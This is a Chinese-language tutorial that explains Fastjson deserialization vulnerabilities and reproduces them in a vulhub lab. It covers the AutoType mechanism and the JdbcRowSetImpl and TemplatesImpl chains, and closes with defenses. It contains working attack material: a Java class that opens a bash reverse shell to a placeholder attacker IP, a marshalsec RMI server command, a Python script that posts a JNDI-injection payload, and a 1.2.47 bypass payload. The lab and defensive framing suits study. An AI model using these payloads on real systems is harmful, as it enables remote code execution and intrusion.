Fastjson反序列化原理详解及复现
字数 1594 2025-08-11 00:55:07
Fastjson反序列化漏洞原理与复现详解
1. Fastjson简介与环境搭建
Fastjson是阿里巴巴开源的一款高性能JSON处理库,主要用于Java对象与JSON字符串之间的转换。主要功能包括:
- 序列化:
JSON.toJSONString()- 将Java对象转换为JSON字符串 - 反序列化:
JSON.parseObject()- 将JSON字符串转换为Java对象
环境搭建
使用vulhub提供的Fastjson漏洞环境:
docker-compose up -d
访问8090端口验证环境是否正常启动。
2. Fastjson漏洞原理
2.1 AutoType机制
Fastjson在处理接口或抽象类的子类序列化时存在类型信息丢失问题。例如:
interface Animal{...}
class Cat implements Animal{ public String name;...}
class Dog implements Animal{ public String name;...}
序列化结果:
- 无AutoType:
{"name":"cat"}和{"name":"dog"} - 有AutoType:
{"@type":"Cat","name":"cat"}和{"@type":"Dog","name":"dog"}
漏洞本质:当使用AutoType时,反序列化过程中会调用指定类的setter/getter方法。如果@type字段被指定为恶意类,就可能执行恶意代码。
2.2 JdbcRowSetImpl利用链分析
RMI架构组件:
- Registry:维护server方法映射
- Server:提供服务并注册到Registry
- Client:查询Registry并调用Server方法
漏洞触发流程:
- 设置
DataSourceName为RMI远程调用地址 - Fastjson反序列化时触发
getDataSourceName - 由于无值进入
setDataSourceName和setAutoCommit setAutoCommit调用connect,进而调用lookup(DataSourceName)- 最终实现JNDI注入
JNDI注入RCE原理:
Reference r = new Reference(refClassName, insClassName, url);
ReferenceWrapper rw = new ReferenceWrapper(r);
registry.bind(name, rw);
客户端请求资源时,Registry返回Reference对象,客户端会:
- 先在CLASSPATH中查找对应类(
refClassName) - 找不到则从指定URL动态加载.class文件
- 实例化时(
insClassName)调用静态代码块和构造函数,实现RCE
2.3 TemplatesImpl利用链
基于CC链的动态加载字节码方式:
- 从
TemplatesImpl.getOutputProperties开始 - 最终走到
defineClass加载字节码 - 加载恶意类实现代码执行
3. 漏洞复现步骤
3.1 准备恶意类
import java.lang.Runtime;
import java.lang.Process;
public class ReverseShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c", "bash -i>& /dev/tcp/攻击者IP/端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 静默处理
}
}
}
编译:javac ReverseShell.java
3.2 启动HTTP服务
使恶意类可通过HTTP访问
3.3 创建RMI Registry
使用marshalsec工具:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者IP:端口/#ReverseShell" 9999
3.4 发送攻击Payload
Python脚本示例:
import json
import requests
url = '目标URL'
headers = {'Content-Type': 'application/json'}
payload = {
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://攻击者IP:端口/ReverseShell",
"autoCommit": True
}
}
requests.post(url, data=json.dumps(payload), headers=headers)
print("攻击完成")
4. 其他版本漏洞
Fastjson 1.2.47绕过
1.2.24版本后引入白名单机制,但1.2.47版本可通过TypeUtils.loadClass将JdbcRowSetImpl缓存后执行。
Payload示例:
{
"恶意字段1": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"恶意字段2": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://攻击者IP:端口/恶意类","autoCommit":true}
}
5. 防御措施
- 升级Fastjson:使用最新安全版本
- 关闭AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 严格白名单:仅允许反序列化可信的类
总结
Fastjson反序列化漏洞主要源于AutoType机制的不安全实现,攻击者可通过精心构造的JSON数据触发远程代码执行。防御关键在于严格控制反序列化的类范围,并及时更新到安全版本。